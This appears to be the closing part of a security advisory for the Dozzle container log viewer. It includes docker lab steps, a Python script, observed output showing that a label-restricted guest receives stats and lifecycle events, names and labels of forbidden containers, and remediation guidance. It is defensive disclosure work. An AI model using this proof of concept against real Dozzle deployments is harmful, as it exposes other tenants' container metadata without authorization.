Details
docker restart dz_secret >/dev/null # generate die/start container-events for dz_secret
wait
6. Analyze: the documented filtered channel vs the two leaking channels.
python3 - "$SECRET_ID" "$VIS_ID" <<'PY'
import json,sys
secret,vis=sys.argv[1],sys.argv[2]; s12,v12=secret[:12],vis[:12]
ev=None; list_ids=set(); stat_ids=set(); evt=[]
secret_stat=None; secret_start_attrs=None
for line in open("guest_events.txt"):
line=line.rstrip("\n")
if line.startswith("event:"): ev=line[6:].strip()
elif line.startswith("data:"):
try: j=json.loads(line[5:].strip())
except: continue
if ev=="containers-changed" and isinstance(j,list):
for c in j:
if isinstance(c,dict) and c.get("id"): list_ids.add(c["id"])
elif ev=="container-stat" and isinstance(j,dict):
if j.get("id"): stat_ids.add(j["id"])
if j.get("id")==s12: secret_stat=j
elif ev=="container-event" and isinstance(j,dict):
evt.append((j.get("name"),j.get("actorId")))
if j.get("actorId")==s12 and j.get("actorAttributes"):
secret_start_attrs=j["actorAttributes"]
print("=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===")
print(" containers the guest is authorized to see:", len(list_ids), "->", sorted(x[:12] for x in list_ids))
print(" secret container present?:", s12 in {x[:12] for x in list_ids}, "(expected False)")
print()
print("=== LEAK CHANNEL 1: container-stat (NOT filtered) ===")
print(" distinct containers in stat stream:", len(stat_ids))
print(" secret container telemetry leaked?:", s12 in {x[:12] for x in stat_ids}, "(VULN if True)")
if secret_stat: print(" leaked dz_secret stat payload:", json.dumps(secret_stat))
print()
print("=== LEAK CHANNEL 2: container-event (NOT filtered) ===")
print(" lifecycle events leaked for dz_secret:", [e for e in evt if e[1]==s12])
if secret_start_attrs: print(" leaked dz_secret attributes:", json.dumps(secret_start_attrs))
PY
7. Cleanup.
docker rm -f dz_visible dz_secret dozzle_lab >/dev/null
cd /; rm -rf "$WORK"
Observed output (host details elided; the salient lines):
=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===
containers the guest is authorized to see: 1 -> ['87a94222ba1d']
secret container present?: False (expected False)
=== LEAK CHANNEL 1: container-stat (NOT filtered) ===
distinct containers in stat stream: 10
secret container telemetry leaked?: True (VULN if True)
leaked dz_secret stat payload: {"id": "9ec5e9a970d9", "cpu": 0, "memory": 0.00228, "memoryUsage": 487424, "networkRxTotal": 2444, "networkTxTotal": 126, "diskReadTotal": 0, "diskWriteTotal": 0}
=== LEAK CHANNEL 2: container-event (NOT filtered) ===
lifecycle events leaked for dz_secret: [('die', '9ec5e9a970d9'), ('start', '9ec5e9a970d9')]
leaked dz_secret attributes: {"env": "prod", "image": "nginx:alpine", "name": "dz_secret", "secretproject": "acme-payroll"}
The guest is authorized for exactly one container (the documented filter works for the list channel), yet the same stream delivers live telemetry for ten containers — including `dz_secret` — and leaks `dz_secret`'s name, image and labels (including `secretproject=acme-payroll`) via lifecycle events. The negative control is the `containers-changed`/list channel returning a single container; the positive result is the stat/event channels returning the forbidden container.
## Remediation
Apply the caller's `userLabels` to the `container-stat` and `container-event` channels in `streamEvents`, exactly as is already done for the container list. Concretely:
- Maintain, per connection, the set of container IDs visible under the caller's `userLabels` (it is already computed for the initial list and refreshed on `containers-changed`), and drop any `container-stat` whose `id` is not in that set before calling `sseWriter.Event("container-stat", ...)`.
- For each `container-event`, resolve the event's container under `userLabels` (e.g. via `FindContainer(event.Host, event.ActorID, userLabels)` on the local/Docker path, which honors labels) and forward the event only if it resolves; otherwise skip it. Do the same for the `container-updated` and `container-health` branches, which carry `actorId`/container data for arbitrary containers.
- Alternatively/additionally, push the label filter down into `SubscribeEventsAndStats` so the fan-out itself only emits stats/events for containers matching the caller's filter, mirroring how `SubscribeContainersStarted` already takes a `ContainerFilter`.
- Add regression tests asserting that a user with `filter: label=visible=yes` receives `container-stat` and `container-event` only for matching containers, even when other containers are active on the host.
Please credit 5ud0 / Tarmo Technologies.